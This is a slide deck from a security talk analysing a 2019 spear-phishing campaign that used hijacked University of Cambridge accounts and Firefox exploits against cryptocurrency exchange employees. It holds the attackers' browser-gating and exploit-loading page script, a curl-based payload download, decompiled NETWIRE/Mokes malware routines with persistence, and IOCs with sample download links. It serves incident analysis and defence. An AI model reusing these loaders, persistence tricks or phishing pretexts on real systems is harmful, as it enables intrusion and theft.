

# Discretion in APT

Recent attack on crypto exchange services



# \$ whoami

- Heungsoo Kang (David)
- LINE The LINE logo is a green rounded square containing a white speech bubble with the word "LINE" in green.
- Mobile messenger + lots of services
- Crypto/FIAT exchange BITBOX / BITMAX
- Contact
  - cmpdebugger@gmail.com / @jz\_

# About this talk

- Background
  - Coinbase announced it's been attacked by a very sophisticated, highly targeted attack
- Coinbase blog / Philip Martin (@SecurityGuyPhil)
- Decent analysis by [objective-see.com](http://objective-see.com)
- Undisclosed, but LINE was also targeted



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# About this talk

- Goal of this talk
  - To share the perspectives of ...
    - The victim (how it looked like to him)
    - The attackers (what they had prepared)
    - The blue-team (what we could/not see)
  - To share information about ...
    - Its malware
    - Attackers

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# Perspective 1: Victim


How it looked over the surface

# About Victim

- A talented developer
  - :~10 years of experience
- Device
  - iPhone
  - MacBook Pro


# Email Conversation

- Victim receives an email through his personal account
- sender
  - nm603@cam.ac.uk



# Email Conversation

- Victim receives an email through his personal account
- sender
  - nm603@cam.ac.uk
  - Legit from cam.ac.uk



Received-SPF: pass (google.com: domain of nm603@cam.ac.uk designates 131.111.8.141 as permitted sender) client-ip=131.111.8.141;  
Authentication-Results: mx.google.com;  
dkim=pass header.i=@cam.ac.uk header.s=20180806.ppsw.h...@cam.ac.uk designates 131.111.8.141 as permitted sender  
spf=pass (google.com: domain of nm603@cam.ac.uk designates 131.111.8.141 as permitted sender) smtp.mailfrom=nm603@cam.ac.uk

nm603@cam.ac.uk  
[people.ds.cam.ac.uk/nm603/awards/Adams\\_Prize](http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize)  
Adams Prize Organizational Committee

Passed SPF/DKIM/DMARC

# Email Conversation

- Victim receives an email through his personal account
- sender
  - nm603@cam.ac.uk
  - Legit from cam.ac.uk
  - Link uses legit cam.ac.uk

Adams Prize, Project Analysis and Evaluation

 Neil Morris <nm603@cam.ac.uk>  
2019/05/31 4:41

To: [REDACTED]@gmail.com

Dear Sir,

My name is Neil Morris. I'm one of the Adams Prize Organizers.

Each year we update the team of independent specialists who could assess the quality of the competing projects:

[http://people.ds.cam.ac.uk/nm603/awards/Adams\\_Prize](http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize)

Our colleagues have recommended you as an experienced specialist in this field.

We need your assistance in evaluating several projects for Adams Prize.

Looking forward to receiving your reply.


Best regards,  
Neil Morris

**NEIL MORRIS**  
Research Grants Administrator at University of Cambridge  
[+442038076714](tel:+442038076714)  
[nm603@cam.ac.uk](mailto:nm603@cam.ac.uk)  
[people.ds.cam.ac.uk/nm603/awards/Adams\\_Prize](http://people.ds.cam.ac.uk/nm603/awards/Adams_Prize)  
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“Looking for field experts”



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- LinkedIn profile

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Adams Prize Organizational Committee



# Email Co

- Victim receives an email through LinkedIn
- sender
  - [nm603@cam.ac.uk](mailto:nm603@cam.ac.uk)
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- Link uses legit [cam.ac.uk](https://www.cam.ac.uk)
- Adams Prize is “Looking for field experts”
- LinkedIn profile

Neil Morris  
Research Grants Administrator at University of Cambridge  
Cambridge, United Kingdom · 1촌 104명 · 연락처

University of Cambridge

### 소개

I am a Computer Science graduate from Christ's College, Cambridge. Specialised in Deep Learning techniques. I currently have interest in Machine Learning and Data Science areas. Always looking to expand my skill set and gain more experience in software engineering roles.

### 경력 사항

University of Cambridge  
(2년 10개월)

Adams Prize Organizational Committee  
2018년 5월 - 현재 · (1년 2개월)

Research Grants Administrator  
2017년 8월 - 현재 · (1년 11개월)

Postdoctoral Researcher  
2016년 9월 - 현재 · (2년 10개월)

### 학력

University of Cambridge  
Master of Engineering - MEng Field Of Study Computer Science  
2016년 - 2017년

Five courses and a dissertation:  
- Machine Learning  
- Computer Security: Principles and Foundations  
- Advanced topics in mobile and sensor systems and data modeling  
- Advanced topics in machine learning and natural language processing  
Dissertation: robotics

# Email Co

- LinkedIn Profile

- 100+ connections

- Nice fit to the story

The image shows a LinkedIn profile for Neil Morris. At the top is a circular profile picture of a man with glasses and a blue jacket. To the right is a wide-angle photograph of King's College Chapel at dusk. Below the photo is a blue button labeled "1촌 맺기" (Connect) and a small "..." icon. The profile information includes:

- Name: Neil Morris
- Role: Research Grants Administrator at University of Cambridge
- Location: Cambridge, United Kingdom
- Connections: 1촌 104명 (1st degree 104 connections)
- University of Cambridge logo
- University of Cambridge link

Below the profile information is a section titled "소개" (About) containing a brief bio in English. A red box highlights the "1촌 104명" connection count.

Below the bio is a section titled "경력 사항" (Work Experience) with the following entries:

- University of Cambridge (2년 10개월)
  - Adams Prize Organizational Committee (2018년 5월 - 현재 · 1년 2개월)
  - Research Grants Administrator (2017년 8월 - 현재 · 1년 11개월)
  - Postdoctoral Researcher (2016년 9월 - 현재 · 2년 10개월)

Below the work experience is a section titled "학력" (Education) with the following entry:

- University of Cambridge  
Master of Engineering - MEng Field Of Study Computer Science  
2016년 - 2017년
  - Five courses and a dissertation:
    - Machine Learning
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    - Advanced topics in mobile and sensor systems and data modeling
    - Advanced topics in machine learning and natural language processing
  - Dissertation: robotics

# Email Conversation

- Victim shares conversation with the attacker doubtlessly

On 05/31/2019 07:04 AM, [REDACTED] wrote:

Dear Neil,

Thanks for reaching me out. I wonder what kind of assistance do you need to make sure to see if I'm capable of doing so.

Best,  
[REDACTED]



Neil Morris <nm603@cam.ac.uk>

2019/05/31 20:43

To: [REDACTED]

Dear [REDACTED]

Thanks for prompt reply.

We'll send you the description of several projects and the list of questions and criteria to assess them.

I think the plan will be ready by mid-June.

Best regards,  
Neil

On 06/03/2019 03:26 AM, [REDACTED] wrote:

Dear Neil,

Sounds good. I will review the questions and projects once I receive them.

Thanks,  
[REDACTED]

# Email Conversation

- Victim gets the exploit link, ID, temporary PW

Re: Adams Prize, Project Analysis and Evaluation



Neil Morris <nm603@cam.ac.uk>  
2019/06/17 18:28

To: [REDACTED]

Dear [REDACTED]

We've granted you access to the University's Project Management System:

<http://people.ds.cam.ac.uk/nm603/services/UCPMS>

**login:** [REDACTED]098

**password:** [REDACTED]098 [REDACTED]098

Please change your password when you log in.

There you will find the description of projects we would like you to assess, as well as instructions, and additional information.

How much time will you need to study these projects?

Best regards,

Neil

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# Web Browsing

- Victim visits the URL ... to see a warning

## **BROWSER NOT SUPPORTED**

University of Cambridge Project Management Service is currently not supported in your browser.

Please try opening the application using the latest version of Mozilla Firefox.

# Web Browsing

- Victim visits the URL ... to see a warning - “**Firefox only**”

## BROWSER NOT SUPPORTED

University of Cambridge Project Management Service is currently not supported in your browser.


Please try opening the application using the latest version of [Mozilla Firefox](#).

Official URL for



# Web Browsing

- Victim visits the URL ... to see a warning - “**Firefox only**”



Official URL for



# Web Browsing

- With Firefox, web page shows up



UNIVERSITY OF CAMBRIDGE

Find software 

Login 

User-id:  
e.g fjc55

Password:  
your UIS or Raven password 

override login options for this session?

[Forgotten your password?](#)

[? Help](#)

**Always** quit your web browser when you have finished accessing services that require authentication. Do not disclose your password to anyone. Please report attempts to obtain your password in unusual circumstances. Raven necessarily uses cookies to manage your authentication ([privacy policy](#) and [cookie policy](#)).

See [help on Raven accounts](#) if you want to change the password you use to log in to Raven, if your password isn't working, or if you don't have a Raven account but need one.

**Self-service password recovery from UIS**

You can now reset your UIS Password using a token sent via email or text message. To configure this feature, log into the [UIS Password Management app](#) and follow the 'Configure' link under 'Self-service password recovery'.



University Information Services

Help

Terms & conditions  
Privacy & cookie policy

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Study at Cambridge

About the University

Research at Cambridge

# Exploit

- Firefox downloaded exploit javascript
  - shellcode uses *curl http://x.x.x.x/malw* so it doesn't trigger MacOS GateKeeper
- The attack was stopped here
  - Detected, suspended & killed
  - Red flag based on various indicators + in-house tools

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# Response

- Victim gets interrogated



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- Victim gets interviewed and helps security team get the picture
- Security team follows up, prepare additional tracking
  - Stage1 sends system information, downloads stage2 malware

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  - Stage1 - macos.netwire variant  
Stage2 - macos.mokes variant

# Perspective 2: Attackers

What lies beneath  
(Obviously, based on observation + assumption)

# Prepare Weapons

- Prepare weaponized exploits
  - Firefox code execution (CVE-2019-11707)
  - Firefox sandbox escape (CVE-2019-11708)

# Prepare Weapons

- Prepare malwares
  - Stage 1 - Report victim information
    - Scout. Small, new, low detection
  - Stage 2
    - Full Remote Administrator Tool

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# Prepare Infra

- Prepare servers
  - C2
    - Stage 1 - 89.34.111.113 (ghoster.com, Uruguay)
    - Stage 2 - 185.49.69.210 (leaseweb.com, UK)
      - 142.93.110.250 (digitalocean.com, US)
  - Host malware
    - 185.162.131.96 (king-servers.com, Russia)

# Prepare Infra

- Prepare servers
  - Host exploit
  - 54.38.93.182 (ovh.com, France)
  - Buy domain analyticsfit.com
- Payment for the servers
  - Credit card, PayPal, BTC, ZCash, Monero, etc

# Hack Accounts

- Hack accounts for attack
- At least 2 accounts from cam.ac.uk hacked
  - nm603@, grh37@, ...

# Hack Accounts

- Accounts' hack method is undisclosed
  - Phishing on individuals?
  - Credential stuffing? (Using leaked ID/passwords)
  - Brute force?
  - DB compromise?

# Hack Accounts

- The University has a bold service, useful for OSINT
  - anyone can list accounts
  - <http://jackdaw.cam.ac.uk/mailsearch/>
- Email account search service
- Useful for everyone (Students, and...)

The screenshot shows a web page titled "Email Address Look-up" from the University of Cambridge's Jackdaw service. The page features a search form with fields for Surname and Initials, a "Search" button, and dropdowns for "Max. results" (set to 100) and search options ("Match name exactly" and "Match like sounding names"). Below the form, a list of search results is displayed, each showing a partial name, title, department, and email address. The results are as follows:

Name	Title	Department	Email Address
A [REDACTED] A.	Prof. A.S.	Department of Chemistry,	[REDACTED]@cam.ac.uk
A [REDACTED] A.	Dr A.S.	Lucy Cavendish College,	[REDACTED]@cam.ac.uk
A [REDACTED] A.	C.A.	Cambridge University Library,	[REDACTED]@cam.ac.uk
A [REDACTED] A.	A.	Faculty of Education	[REDACTED]@cam.ac.uk

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# Univ Accounts

- Service for the account owners:
  - Email address: *nm603@cam.ac.uk*
  - Personal web hosting
  - *http://people.ds.cam.ac.uk/nm603*



[Home](#) / Computing service / Desktop Services / DS-Web / Personal Web Page Service

## Personal Web Page Service

This web server provides access to personal web pages belonging to users of the MCS at the University of Cambridge. URLs for personal pages look like

**“*http://people.ds.cam.ac.uk/spqr1/***

where 'spqr1' is the owner's 'Central Registration System userid' (CRS-ID).

**If you are looking for a user's pages...**

There is no index to the personal pages available on this server. Under UK data protection legislation the University cannot divulge personal URLs or comment on the availability or

# Univ Accounts

- Service for the account owners:

- Email address: *nm603@cam.ac.uk*

Makes it all  
look authentic

- Personal web hosting

- *http://people.ds.cam.ac.uk/nm603*



[Home](#) / Computing service / Desktop Services / DS-Web / Personal Web Page Service

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# Prepare Website

- Prepare web pages on people.ds.cam.ac.uk
  - Fake University site

The screenshot shows the University of Cambridge's Raven login interface. At the top left is the University of Cambridge logo. To the right is a search bar with the placeholder "Find software" and a magnifying glass icon. Below the search bar is a "RAVEN" logo featuring a silhouette of a raven above the word "RAVEN". The main form area has "Login" at the top. It contains fields for "User-id" (with "e.g fjc55" as an example) and "Password" (with "your UIS or Raven password" as an example). There is also a checkbox for "override login options for this session?". Below the password field are "Cancel" and "Login >" buttons, and a link "Forgotten your password?". At the bottom of the form is a "Help" link. To the right of the form, there is a note about quitting the browser after login and links for self-service password recovery and UIS Password Management app. A decorative graphic of a raven with a speech bubble saying "NEVERMORE!" is shown. The footer is teal and includes links for "University Information Services", "Help", "Terms & conditions", "Privacy & cookie policy", "© 2019 University of Cambridge", "Study at Cambridge", "About the University", and "Research at Cambridge".

# Prepare Website

- Prepare web pages on people.ds.cam.ac.uk
  - Add simple javascript for social engineering
    - “*Please use Firefox ...*”
  - Load exploit

# Script on Fake Website

```
<script>
  $('.iframe-toggle').on('click', function (e) {
    $(this).toggleClass('fullscreen');
    $('.main-iframe').toggleClass('fullscreen');
  });

  var ua = detect.parse(navigator.userAgent);
  var br = ua.browser.family.toLowerCase();
  var os = ua.os.family.toLowerCase();

  console.log(br);
  console.log(os);

  if ( ( br === 'firefox' && os.includes('mac') ) || !os.includes('mac') ) {
    $('body').append('<script type="text/javascript" src="/script.js"></script>');
    $('body').css({
      opacity: 1
    });
  } else if ( br !== 'firefox' && os.includes('mac') ) {
    $('.modal-overlay').css({
      display: 'block',
      opacity: 1,
      position: 'fixed'
    });
    $('.modal-not-supported#other').css({
      display: 'block',
      opacity: 1
    });
    setTimeout(function(){
      $('body').css({
        opacity: 1
      });
    }, 500);
  }
</script>
```

# Script on Fake Website

- if (macos && not firefox) then show “use Firefox” message

```
        '',
    else if ( br !== 'firefox' && os.includes('mac') ) {
        $('.modal-overlay').css({
            display: 'block',
            opacity: 1,
            position: 'fixed'
        });
        $('.modal-not-supported#other').css({
            display: 'block',
            opacity: 1
        });
        setTimeout(function(){
            $('body').css({
                opacity: 1
            });
        }, 500);
    }
}
```

```
<div class="modal-overlay">
</div>
<div class="modal-not-supported" id="other">
    <div class="modal-title">
        BROWSER NOT SUPPORTED
    </div>
    <div class="modal-body">
        <div class="text-alt">
            <p>University of Cambridge Project Management Service is currently not supported in
            your browser.</p>
            <p>Please try opening the application using the latest version of <a href="https://www.mozilla.org/en-US/firefox/new/" target="blank">Mozilla Firefox</a>.</p>
        </div>
    </div>
</div>
```

# Script on Fake Website

- if (macos && not firefox) then show “use Firefox” message



# Script on Fake Website

- if (macos && firefox) or (not macos) then load /script.js

```
if ( ( br === 'firefox' && os.includes('mac') ) || !os.includes('mac') ) {  
    $('body').append('<script type="text/javascript" src="/script.js"></script>');  
    $('body').css({  
        opacity: 1  
    });  
}
```

- So *people.ds.cam.ac.uk/script.js* must be the exploit!

# Script on Fake Website

- So *people.ds.cam.ac.uk/script.js* must be the exploit!

# Script on Fake Website

- So *people.ds.cam.ac.uk/script.js* must be the exploit!  
→ No.

```
GET /script.js?_=1560768136595 HTTP/1.1
Host: people.ds.cam.ac.uk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://people.ds.cam.ac.uk/nm603/services/UCPMS/
Cookie: _ga=GA1.3.590324926.1560768135; _gid=GA1.3.1857667385.1560768135; _gat=1

HTTP/1.1 404 Not Found
Date: Mon, 17 Jun 2019 10:42:16 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 291
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
```

*Actual packet capture of victim at the time of attack*

# Script on Fake Website

- So *people.ds.cam.ac.uk/script.js* must be the exploit!  
→ No.



# Script on Fake Website

- Actual exploit code was loaded at the end of HTML

```
<script type="text/javascript" src="http://software.uis.cam.ac.uk/campl/javascripts/libs/ios-or
<script type="text/javascript" src="http://software.uis.cam.ac.uk/campl/javascripts/libs/modern
<script type="text/javascript" src="http://software.uis.cam.ac.uk/campl/javascripts/apps-custom
<script type="text/javascript" src="https://analyticsfit.com/init.js?t=main"></script>
<script type="text/javascript">projectLight.markExternalLinks = function() {}</script>
```

- Made it look like Google's analytics.js
  - All websites have them at the end
  - HTTPS

# Prepare John Doe

- The accounts they hacked are [nm603, grh37]
  - Make up names accordingly: *Neil Morris, Gregory Harris*
- Join LinkedIn, make profile fit to the storyline (Univ staff)
- Add connections, 100++
  - How we all love to accept random requests
- Write a nice email signature
  - Add links to website, LinkedIn

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# Start Operation

- Set targets - look for cryptocurrency exchange employees
- Start by opening conversation through email
- Evaluate targets through conversation
  - Select targets related to cryptocurrency exchanges
  - Guide ONLY selected targets to the exploit page

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# Operation: Evaluate Targets

- Evaluate targets through conversation (cont'd) - another case
  - <https://robertheaton.com/2019/06/24/i-was-7-words-away-from-being-spear-phished/>
    - Review on how he “almost” got hacked by this campaign
    - Author communicated via email with [grh37@cam.ac.uk](mailto:grh37@cam.ac.uk)
    - He was not guided to the final exploit page
    - Initially selected as target, but evaluated out.

# Operation: Evaluate Targets

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  - <https://robertheaton.com/2019/06/24/i-was-7-words-away-from-being-spear-phished/>
    - Review on how he “almost” got hacked by this campaign
    - Author communicated via email with [grh37@cam.ac.uk](mailto:grh37@cam.ac.uk)
    - He was not guided to the final exploit page
    - Initially selected as target, but evaluated out.

# Operation: Evaluate Targets

- Evaluate targets through conversation (cont'd) - another case
  - <https://robertheaton.com/2019/06/24/i-was-7-words-away-from-being-spear-phished/>

*Hi Rob,*

*Yeah, it may be a mistake. I'll consult with my colleagues and get back to you shortly.*

*Best regards, Gregory*

This was the last I ever heard from Gregory Harris. I thought nothing more of the exchange.

# Operation: Evaluate Targets

- Evaluate targets through conversation (cont'd)
  - <https://robertheaton.com/2019/06/24/i-was-7-words-away-from-being-spear-phished/>

Fortunately I was using Chrome, so the attackers' Javascript exploit achieved nothing. But all it would have taken is for the attackers to add the 7 words "THIS PAGE MUST BE VIEWED IN FIREFOX" to the top of their page, and I'd have been toast. I'd have chuckled at how some poor chumps still couldn't figure out basic cross-browser compatibility, and I'd have smugly copied the link over into Firefox. It's not clear to me why the attackers didn't do this. Maybe they didn't have complete control over the contents of the page, or maybe they wanted to be as subtle as possible. Next time, eh?

# Operation: Evaluate Targets

- Evaluate targets through conversation (cont'd)
    - <https://robertheaton.com/2019/06/24/i-was-7-words-away-from-being-spear-phished/>

Fortunately I was using Chrome, so the attackers' Javascript exploit achieved nothing. But all it would have taken is for the attackers to add the 7 words "THIS PAGE MUST BE VIEWED IN FIREFOX" to the top of their page, and I'd have been toast. I'd have chuckled at how some poor chumps still couldn't figure out basic cross-browser compatibility. I'd have smugly copied the link over into Firefox. It's not clear if they wanted me to do this. Maybe they didn't have access to my computer or maybe they wanted me to

**BROWSER NOT SUPPORTED**

Service is currently not supported.

**BROWSER NOT SUPPORTED**

University of Cambridge Project Management Service is currently not supported in your browser.  
Please try opening the application using the latest version of [Mozilla Firefox](#).

# Operation: Goal

- Initial exploit → run stage 1 malware
- Stage 1 malware reports information about victim
- Stage 1 malware downloads stage 2 malware (full RAT)
- Go for profit!! \$\$

# Perspective 3: Blue Team

What can we see? Challenges?

# Blue Team Downsides

- Cliche, yes
- Too many stuff to watch
  - Employees from many countries
  - Huge infrastructure
  - Countless servers (we have our own AWS - “Verda”)

# Blue Team Weapons

- From Infrastructure
  - Network based defense/detection methods
  - Network visibility solutions to see HTTPS connection
- From Endpoint
  - Endpoint Detection & Response / Antivirus
  - Patch Management System
  - Various monitoring solutions, etc

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# Blue Team Weapons

- Honeypots, sandboxes
- Indicators of Compromise service
- Network segregation / air-gapping
- Authentication, 2FA
- Desktop Virtualization
- More & more...
  - Usable security: should avoid oppressing productivity

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- Desktop Virtualization
- More & more...
  - Usable security: should avoid oppressing productivity

# Pain Point for Blue Team

- Attackers sent email to victim's personal Gmail account
- Legit cam.ac.uk email + website
- HTTPS + encrypted communication
- Low detection (Stage1=1, Stage2=0 detection on VirusTotal)
- Encrypted, non-HTTPS protocol for C2 connection on port 443
- Diverse use of servers (exploit, malware download, c2, etc)
- Download stage2 outside of corp network to avoid detection

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# Breadcrumbs for Blue Team

- Shellcode - curl - macho(executable) download
- Communication to suspicious IP addresses (C2)
- Unknown new executable files
- Security team had resource to analyze & follow up
- Plus other undisclosable indicators & methods

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# Malware Information

Stage 1 & 2

# Stage 1 - Overview

- NETWIRE
- Commercial administration tool
- Agent builder

The screenshot shows a dark-themed website for "WORLD WIRED LABS". At the top, there's a navigation bar with links for Home, Pricing, Contact, Latest News, and Client Area. The main headline is "NetWire Lite" followed by the subtext "Our Most Affordable Package Ever". Below this, there's a summary of features: "Support 24 / 7", "Free Updates", and "1 License / 1 PC". To the right, it shows a price of "\$15" per month. At the bottom, there are icons for Windows, Linux (Tux), and Mac OS X.

WORLD WIRED LABS  
wiring world for you

Home Pricing Contact Latest News Client Area

## NetWire Lite

Our Most Affordable Package Ever

Support 24 / 7


MONTHLY

\$15

Free Updates


1 License / 1 PC

You Can Contact Us by Ticket or Email



# Stage 1 - Overview

- NETWIRE
- Commercial administration tool
- Agent builder



# Stage 1 - Overview

- Hash
  - MD5 - de3a8b1e149312dac5b8584a33c3f3c6
  - SHA256 -  
07a4e04ee8b4c8dc0f7507f56dc24db00537d4637afee4  
3dbb9357d4d54f6ff4
- Downloaded from
  - hxxp://185.162.131.96/i/IconServicesAgent

# Stage 1 - Overview

- C2 Server
  - 89.34.111.113 - port closed
- Binary is not signed

```
Contents/MacOS » codesign -d -v Finder  
Finder: code object is not signed at all  
- - - ■
```

# Stage 1 - NETWIRE

- C2 Protocol
  - [https://github.com/pan-unit42/public\\_tools/blob/master/netwire/commands.json](https://github.com/pan-unit42/public_tools/blob/master/netwire/commands.json)
  - XOR with \xe3

```
v205 = LOBYTE(mystruc1.st_stat.st_dev) ^ 0xE3;
LOBYTE(mystruc1.st_stat.st_dev) = v205;
```
  - Handle C2 command func at 0x4109

# Stage 1 - NETWIRE

- Report user/host information

```
    result = (char *)env_var_to_string(a1, "%USER%", a2);
}
if (gethostname((char *)&v214 + 4, 0x3Fu) == -1)
{
    get_system_version_info(&v219, 0x200u);
    while ( v8 != 63 )
    {
        v9 = infection_time[v8];
        ...
    }
}
```

- Report user external IP

```
start_new_thread(report_my_external_IP, v159);

v2 = gethostbyname("checkip.dyndns.org");

v14 = recv_UNIX2003(v13, &v18, 2048, 0);
v5 = strstr(&v18, "Current IP Address: ");
...
```

# Stage 1 - NETWIRE

- List process

```
if ( proc_pidpath(v114, &buffer, 0x1000u) > 0 )
{
    path_to_filename(4096);
```

- Start shell

```
dword_EB60 = start_new_thread(start_shell, v59);
```

```
if ( stat("/bin/sh", &v27) )
{
    v1 = "/bin/bash";
}
else
{
    v1 = "/bin/bash";
    if ( (v27.st_ino & 0xF000) == 0x8000 )
        v1 = "/bin/sh";
```

```
v6 = fork();
if ( !v6 )
{
    call_close(v3);
```

# Stage 1 - NETWIRE

- Search / Write / Execute file

```
dword_2EB84 = start_new_thread((void *(*)(void *))search_for_file, v41);

case 0x24:
    write_UNIX2003(dword_EB68, a4, a5);
    ...
case 12:
    env_var_to_string(&v208, a4, 0x1000u);
    execute_file(v170, (const char *)&v208);
    ...
}
```

- Heartbeat (I'm alive)

```
case 1:
    send_to_server(0, 0, 0);
    return 0;
}
```

# Stage 1 - NETWIRE

00000000	7f 40 00 00 00 dd fd ff	c8 f0 f2 39 62 c9 fe db	.@..... ...9b...
00000010	b6 9a 6e bd 9e c0 f0 7a	a8 c0 d0 f6 ad 91 b5 60	..n....z .....
00000020	78 71 e5 ae 66 48 bb 64	7e 8e fc 94 67 d2 db fc	xq..fH.d ~...g...
00000030	ee 8d ff 98 20 b1 10 3f	91 54 9d 25 6f d8 90 7b	.... ...? .T.%o..{
00000040	eb 69 55 c8 c8 1d		.iU...
00000000	e6 40 00 00 00 00 68 16	d5 2f 0a 9d bf 54 e9 df	.@....h. ./...T..
00000010	fa bb 10 18 14 35 b7 59	1e a4 50 21 ba 14 5e 1d	.....5.Y ..P!...^.
00000020	3c fb 06 bf b8 69 00 00	00 00 00 00 00 00 00 00	<....i.. .....
00000030	00 00 00 00 00 00 ce 52	5d 08 49 19 66 6e 53 fd	.....R ].I.fnS.
00000040	64 0c ad 97 ff 62		d....b
00000046	79 44 03 00 00 00 2b 31	4a cf 41 42 d1 c7 df 93	yD....+1 J.AB....
00000056	55 ca 14 67 44 61 7d 63	03 44 53 d0 fb d3 bf b5	U..gDa}c .DS....
00000066	05 46 0f 2d 02 82 f7 44	c5 73 2b fe d7 19 ba 9b	.F....D .st....
00000076	4b 01 37 fc 7d 36 59 b0	05 ad bb 18 c8 88 7b 57	K.7.}6Y. .....{W
00000086	3f ec 15 1a 84 e5 17 5b	b8 dd 30 03 ed 7b 54 36	?.....[ ..0...{T6
00000096	22 32 86 aa 93 3b 3d d4	16 de e3 21 cb d7 c0 37	"2...;=. ...!...7
000000A6	a8 e3 9e 4d 2f 19 d9 f8	d6 0a 60 98 00 9f 87 f3	...M/... ..`....
000000B6	d1 9a c8 16 ed 4d 50 90	56 a7 ff 61 34 cd 61 dd	.....MP. V..a4.a.
000000C6	94 41 30 6a 9f b5 ac 13	de 91 1e 28 91 8a b0 30	.A0j.... ....(...0
000000D6	37 fd 8b 44 31 07 d4 2d	fe 76 23 76 62 96 a6 a6	7..D1... .v#vb...
000000E6	b6 74 98 01 52 39 a4 78	87 14 a5 f7 30 9a 55 13	t R9 x 0 u

first byte ^ 0xe3 == command

e6^e3 = 5 = send initial info

(username, hostname,  
install time, external IP, etc)

000003A0	56 97 77	V.w
00000046	e2 00 00 00 00 00	.....
000003A3	7d 00 00 00 00 00	}
0000004C	e2 00 00 00 00 00	.....
000003A9	7d 00 00 00 00 00	}
00000052	e2 00 00 00 00 00	.....
000003AF	7d 00 00 00 00 00	}
00000058	e2 00 00 00 00 00	.....
000003B5	7d 00 00 00 00 00	}
0000005E	e2 00 00 00 00 00	.....
000003BB	7d 00 00 00 00 00	}
00000064	e2 00 00 00 00 00	.....
000003C1	7d 00 00 00 00 00	1

e2^e3 = 1 = wait


# Stage 1 - NETWIRE

- Persistence

```
--- Library/LaunchAgents » cat com.mac.host.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN
    "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.mac.host</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/jz/.defaults/Finder.app/Contents/MacOS/Finder</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <false/>
</dict>
</plist>
```

# Stage 1 - NETWIRE

- Persistence



# Stage 1 - NETWIRE

- Persistence - “Don’t want to die”

```
    ...
    sigprocmask(SIG_SETMASK, a2, 0);
    st_sigaction.sa_mask = 0;
    st_sigaction.__sigaction_u.__sa_handler = execute_myself;
    st_sigaction.sa_flags = 64;
    sigaction(SIGSEGV, &st_sigaction, 0);
    sigaction(SIGILL, &st_sigaction, 0);
    sigaction(SIGBUS, &st_sigaction, 0);
    sigaction(SIGSYS, &st_sigaction, 0);
    sigaction(SIGFPE, &st_sigaction, 0);
    sigaction(SIGPIPE, &st_sigaction, 0);
    ...
```

# Stage 1 - NETWIRE

- Downloads stage 2
- Shell executed after downloading

```
→ ~ cat .sh_history
cd /tmp/
chmod +x mac
./mac
→ ~ █
```

# Stage 1 - hyd7u5jdi8

- This netwire binary contains 4 RC4 keys in total.
- Key string “hyd7u5jdi8” is used once for decrypting “%Rand%”

# Stage 1 - variants

- hxxp://185.162.131.96 (download server) is still up (Apache)
- Brute-forced server: found some variants in directory
  - hxxp://185.162.131.96/i/195/195  
hxxp://185.162.131.96/i/kr  
hxxp://185.162.131.96/i/kri  
hxxp://185.162.131.96/i/pm  
hxxp://185.162.131.96/i/pmi  
hxxp://185.162.131.96/i/thk
  - Same code, different data by different RC4 key
    - **But has same key “hyd7u5jdi8”**

# Stage 1 - variants

- hxxp://185.162.131.96 (download server) is still up (Apache)
- Brute-forced server: found some variants in directory
  - hxxp://185.162.131.96/i/195/195  
hxxp://185.162.131.96/i/kr  
hxxp://185.162.131.96/i/kri  
hxxp://185.162.131.96/i/pm  
hxxp://185.162.131.96/i/pmi  
hxxp://185.162.131.96/i/thk
  - Same code, different data by different RC4 key
    - **But has same key “hyd7u5jdi8”**

# Stage 1 - variants

- hxxp://185.162.131.96/i/lconServicesAgent de3a8b1e149312dac5b8584a33c3f3c6
- hxxp://185.162.131.96/i/195/195 b6f92b20816f23c147445bd5eec86a06
- hxxp://185.162.131.96/i/kr 8b2b7537c792ecf24d8ee7b9fbb942f8
- hxxp://185.162.131.96/i/kri 5030422b3428c0f938e3ad03720ca9e8
- hxxp://185.162.131.96/i/pm 70286abc22eca9a9cbea24e551c891cd
- hxxp://185.162.131.96/i/pmi de3a8b1e149312dac5b8584a33c3f3c6
- hxxp://185.162.131.96/i/thk fc99b1407655674573ee4167f1e3dcfd

# Stage 1 - variants

- Uploaded to VT - <https://tinyurl.com/brutedown>
- Downloadable here - <https://tinyurl.com/brutedown2>

# Stage 2 - Overview

- Hash
  - MD5 - af10aad603fe227ca27077b83b26543b
  - SHA256 -  
97200b2b005e60a1c6077eea56fc4bb3e08196f14ed69  
2b9422c96686fbfc3ad
- Downloaded by stage1

# Stage 2 - Overview

- macos.Mokes
- Remote administration tool
- C2 Server
  - 185.49.69.210 port 443|80 (closed)
  - athlon4free2updates1.com / 142.93.110.250
    - Alive but not sending payload

# Stage 2

Internet Widgits Pty Ltd

 **Internet Widgits Pty Ltd**  
Root certificate authority  
Expires: Saturday, 30 May 2020 at 8:50:25 PM British Summer Time  
✖ "Internet Widgits Pty Ltd" certificate is not trusted

▼ Details

<b>Subject Name</b>	_____
<b>Country or Region</b>	AU
<b>State/Province</b>	Some-State
<b>Organization</b>	Internet Widgits Pty Ltd

<b>Issuer Name</b>	_____
<b>Country or Region</b>	AU
<b>State/Province</b>	Some-State
<b>Organization</b>	Internet Widgits Pty Ltd

# Stage 2 - Overview

- Built with QT - huge binary size (13MB)
  - FLIRT for QT versions, OpenSSL - Only 20% identified
- Also not signed

```
Library/Skype » codesign -d soagent -v  
soagent: code object is not signed at all
```

# Stage 2

- Self copy as randomly one of these names

```
v2 = a1;
v85 = *__stack_chk_guard_ptr;
*a1 = &unk_1009E8AB8;
v80 = std::string::ctor_0("App Store", 9u, a2);
v79 = std::string::ctor_0("storeaccountd", 0xDu, a2);
v82 = &v80;
v83 = v79;

LABEL_23:
v77 = std::string::ctor_0("com.apple.spotlight", 0x13u, a2);
